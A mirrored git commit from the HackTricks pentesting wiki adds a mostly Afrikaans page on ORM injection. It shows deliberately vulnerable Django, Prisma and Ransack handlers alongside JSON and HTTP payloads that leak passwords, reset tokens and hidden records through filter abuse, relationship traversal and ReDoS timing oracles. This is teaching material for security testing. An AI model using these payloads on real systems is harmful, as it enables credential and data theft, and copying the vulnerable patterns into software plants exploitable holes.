mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['pentesting-web/orm-injection.md'] to af
This commit is contained in:
parent
9bcf189cdc
commit
ec1ae551fc
2 changed files with 336 additions and 0 deletions
|
@ -595,6 +595,7 @@
|
|||
* [NoSQL injection](pentesting-web/nosql-injection.md)
|
||||
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
|
||||
* [Open Redirect](pentesting-web/open-redirect.md)
|
||||
* [ORM Injection](pentesting-web/orm-injection.md)
|
||||
* [Parameter Pollution](pentesting-web/parameter-pollution.md)
|
||||
* [Phone Number Injections](pentesting-web/phone-number-injections.md)
|
||||
* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities/README.md)
|
||||
|
|
335
pentesting-web/orm-injection.md
Normal file
335
pentesting-web/orm-injection.md
Normal file
|
@ -0,0 +1,335 @@
|
|||
# ORM Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Django ORM (Python)
|
||||
|
||||
In [**hierdie pos**](https://www.elttam.com/blog/plormbing-your-django-orm/) word verduidelik hoe dit moontlik is om 'n Django ORM kwesbaar te maak deur byvoorbeeld 'n kode soos:
|
||||
|
||||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||||
"""
|
||||
'n Basiese API-uitsig waaraan gebruikers versoeke stuur om
|
||||
artikels te soek
|
||||
"""
|
||||
def post(self, request: Request, format=None):
|
||||
try:
|
||||
<strong> articles = Article.objects.filter(**request.data)
|
||||
</strong> serializer = ArticleSerializer(articles, many=True)
|
||||
except Exception as e:
|
||||
return Response([])
|
||||
return Response(serializer.data)
|
||||
</code></pre>
|
||||
|
||||
Let op hoe al die request.data (wat 'n json sal wees) direk aan **filter objek van die databasis** oorgedra word. 'n Aanvaller kan onverwagte filters stuur om meer data as verwag daaruit te lek.
|
||||
|
||||
Voorbeelde:
|
||||
|
||||
* **Teken in:** In 'n eenvoudige teken in, probeer om die wagwoorde van die gebruikers wat daarin geregistreer is, te lek.
|
||||
```json
|
||||
{
|
||||
"username": "admin",
|
||||
"password_startswith":"a"
|
||||
}
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Dit is moontlik om die wagwoord te brute-force totdat dit gelek word.
|
||||
{% endhint %}
|
||||
|
||||
* **Relasionele filtrering**: Dit is moontlik om verhoudings te traverseer om inligting uit kolomme te lek wat selfs nie verwag is om in die operasie gebruik te word nie. Byvoorbeeld, as dit moontlik is om artikels wat deur 'n gebruiker geskep is te lek met hierdie verhoudings: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||||
```json
|
||||
{
|
||||
"created_by__user__password__contains":"pass"
|
||||
}
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Dit is moontlik om die wagwoord van al die gebruikers wat 'n artikel geskep het, te vind
|
||||
{% endhint %}
|
||||
|
||||
* **Baie-tot-baie verwantskap filtrering**: In die vorige voorbeeld kon ons nie wagwoorde van gebruikers vind wat nie 'n artikel geskep het nie. Tog, deur ander verwantskappe te volg, is dit moontlik. Byvoorbeeld: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
```json
|
||||
{
|
||||
"created_by__departments__employees__user_startswith":"admi"
|
||||
}
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
In hierdie geval kan ons al die gebruikers in die departemente van gebruikers vind wat artikels geskep het en dan hul wagwoorde lek (in die vorige json lek ons net die gebruikersname, maar dit is dan moontlik om die wagwoorde te lek).
|
||||
{% endhint %}
|
||||
|
||||
* **Misbruik van Django Groep en Toestemming baie-tot-baie verhoudings met gebruikers**: Boonop word die AbstractUser-model gebruik om gebruikers in Django te genereer en standaard het hierdie model 'n paar **baie-tot-baie verhoudings met die Toestemming en Groep tabelle**. Wat basies 'n standaard manier is om **ander gebruikers van een gebruiker te bekom** as hulle in die **dieselfde groep is of dieselfde toestemming deel**.
|
||||
```bash
|
||||
# By users in the same group
|
||||
created_by__user__groups__user__password
|
||||
|
||||
# By users with the same permission
|
||||
created_by__user__user_permissions__user__password
|
||||
```
|
||||
* **Om filterbeperkings te omseil**: Dieselfde blogpos het voorgestel om die gebruik van sommige filtrering soos `articles = Article.objects.filter(is_secret=False, **request.data)` te omseil. Dit is moontlik om artikels wat is\_secret=True het, te dump omdat ons van 'n verhouding terug na die Artikel tabel kan loop en geheime artikels van nie-geheime artikels kan lek omdat die resultate saamgevoeg word en die is\_secret veld in die nie-geheime artikel nagegaan word terwyl die data van die geheime artikel gelek word.
|
||||
```bash
|
||||
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Deur verhoudings te misbruik, is dit moontlik om selfs filters wat bedoel is om die data wat vertoon word te beskerm, te omseil.
|
||||
{% endhint %}
|
||||
|
||||
* **Fout/Tyd gebaseer via ReDoS**: In die vorige voorbeelde was dit verwag om verskillende antwoorde te hê as die filtrering gewerk het of nie om dit as orakel te gebruik. Maar dit kan moontlik wees dat 'n aksie in die databasis gedoen word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om die databasisfout te maak om 'n nuwe orakel te kry.
|
||||
```json
|
||||
// Non matching password
|
||||
{
|
||||
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
||||
}
|
||||
|
||||
// ReDoS matching password (will show some error in the response or check the time)
|
||||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||||
```
|
||||
From te same post regarding this vector:
|
||||
|
||||
* **SQLite**: Het nie 'n regexp-operateur standaard nie (vereis die laai van 'n derdeparty-uitbreiding)
|
||||
* **PostgreSQL**: Het nie 'n standaard regex-tydslimiet nie en is minder geneig tot terugspoeling
|
||||
* **MariaDB**: Het nie 'n regex-tydslimiet nie
|
||||
|
||||
## Prisma ORM (NodeJS)
|
||||
|
||||
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
||||
|
||||
* **Full find contro**l:
|
||||
|
||||
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
app.post('/articles/verybad', async (req, res) => {
|
||||
try {
|
||||
// Attacker has full control of all prisma options
|
||||
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
||||
</strong> res.json(posts);
|
||||
} catch (error) {
|
||||
res.json([]);
|
||||
}
|
||||
});
|
||||
</code></pre>
|
||||
|
||||
It's possible to see that the whole javascript body is passed to prisma to perform queries.
|
||||
|
||||
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
|
||||
```json
|
||||
{
|
||||
"filter": {
|
||||
"include": {
|
||||
"createdBy": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Response
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"title": "Buy Our Essential Oils",
|
||||
"body": "They are very healthy to drink",
|
||||
"published": true,
|
||||
"createdById": 1,
|
||||
"createdBy": {
|
||||
"email": "karen@example.com",
|
||||
"id": 1,
|
||||
"isAdmin": false,
|
||||
"name": "karen",
|
||||
"password": "super secret passphrase",
|
||||
"resetToken": "2eed5e80da4b7491"
|
||||
}
|
||||
},
|
||||
...
|
||||
]
|
||||
```
|
||||
Die volgende een selekteer al die plasings wat deur iemand met 'n wagwoord geskep is en sal die wagwoord teruggee:
|
||||
```json
|
||||
{
|
||||
"filter": {
|
||||
"select": {
|
||||
"createdBy": {
|
||||
"select": {
|
||||
"password": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Response
|
||||
[
|
||||
{
|
||||
"createdBy": {
|
||||
"password": "super secret passphrase"
|
||||
}
|
||||
},
|
||||
...
|
||||
]
|
||||
```
|
||||
* **Volledige waar-klousule beheer**:
|
||||
|
||||
Kom ons kyk na hierdie waar die aanval die `where` klousule kan beheer:
|
||||
|
||||
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
||||
try {
|
||||
const posts = await prisma.article.findMany({
|
||||
<strong> where: req.query.filter as any // Kw vulnerable to ORM Leaks
|
||||
</strong> })
|
||||
res.json(posts);
|
||||
} catch (error) {
|
||||
res.json([]);
|
||||
}
|
||||
});
|
||||
</code></pre>
|
||||
|
||||
Dit is moontlik om die wagwoord van gebruikers direk te filter soos:
|
||||
```javascript
|
||||
await prisma.article.findMany({
|
||||
where: {
|
||||
createdBy: {
|
||||
password: {
|
||||
startsWith: "pas"
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Deur operasies soos `startsWith` is dit moontlik om inligting te lek. 
|
||||
{% endhint %}
|
||||
|
||||
* **Baie-tot-baie relationele filtrering om filtering te omseil:** 
|
||||
```javascript
|
||||
app.post('/articles', async (req, res) => {
|
||||
try {
|
||||
const query = req.body.query;
|
||||
query.published = true;
|
||||
const posts = await prisma.article.findMany({ where: query })
|
||||
res.json(posts);
|
||||
} catch (error) {
|
||||
res.json([]);
|
||||
}
|
||||
});
|
||||
```
|
||||
Dit is moontlik om nie gepubliseerde artikels te lek deur terug te draai na die baie-tot-baie verhoudings tussen `Category` -\[\*..\*]-> `Article`:
|
||||
```json
|
||||
{
|
||||
"query": {
|
||||
"categories": {
|
||||
"some": {
|
||||
"articles": {
|
||||
"some": {
|
||||
"published": false,
|
||||
"{articleFieldToLeak}": {
|
||||
"startsWith": "{testStartsWith}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Dit is ook moontlik om al die gebruikers te lek deur sommige lus terug baie-tot-baie verhoudings te misbruik:
|
||||
```json
|
||||
{
|
||||
"query": {
|
||||
"createdBy": {
|
||||
"departments": {
|
||||
"some": {
|
||||
"employees": {
|
||||
"some": {
|
||||
"departments": {
|
||||
"some": {
|
||||
"employees": {
|
||||
"some": {
|
||||
"departments": {
|
||||
"some": {
|
||||
"employees": {
|
||||
"some": {
|
||||
"{fieldToLeak}": {
|
||||
"startsWith": "{testStartsWith}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
* **Fout/Tydsnavrae**: In die oorspronklike pos kan jy 'n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting met 'n tydgebaseerde payload te lek. Dit is:
|
||||
```json
|
||||
{
|
||||
"OR": [
|
||||
{
|
||||
"NOT": {ORM_LEAK}
|
||||
},
|
||||
{CONTAINS_LIST}
|
||||
]
|
||||
}
|
||||
```
|
||||
Waar die `{CONTAINS_LIST}` 'n lys is met 1000 stringe om te verseker dat die **antwoord vertraag word wanneer die korrekte leak gevind word.**
|
||||
|
||||
## **Ransack (Ruby)**
|
||||
|
||||
Hierdie truuks is [**gevind in hierdie pos**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
||||
|
||||
{% hint style="success" %}
|
||||
**Let daarop dat Ransack 4.0.0.0 nou die gebruik van 'n eksplisiete toelaat lys vir soekbare eienskappe en assosiasies afdwing.**
|
||||
{% endhint %}
|
||||
|
||||
**Kwetsbare voorbeeld:**
|
||||
```ruby
|
||||
def index
|
||||
@q = Post.ransack(params[:q])
|
||||
@posts = @q.result(distinct: true)
|
||||
end
|
||||
```
|
||||
Let op hoe die navraag gedefinieer sal word deur die parameters wat deur die aanvaller gestuur word. Dit was moontlik om byvoorbeeld die reset-token met:
|
||||
```http
|
||||
GET /posts?q[user_reset_password_token_start]=0
|
||||
GET /posts?q[user_reset_password_token_start]=1
|
||||
...
|
||||
```
|
||||
Deur brute-forcing en moontlik verhoudings was dit moontlik om meer data uit 'n databasis te lek.
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||||
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||||
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
Loading…
Reference in a new issue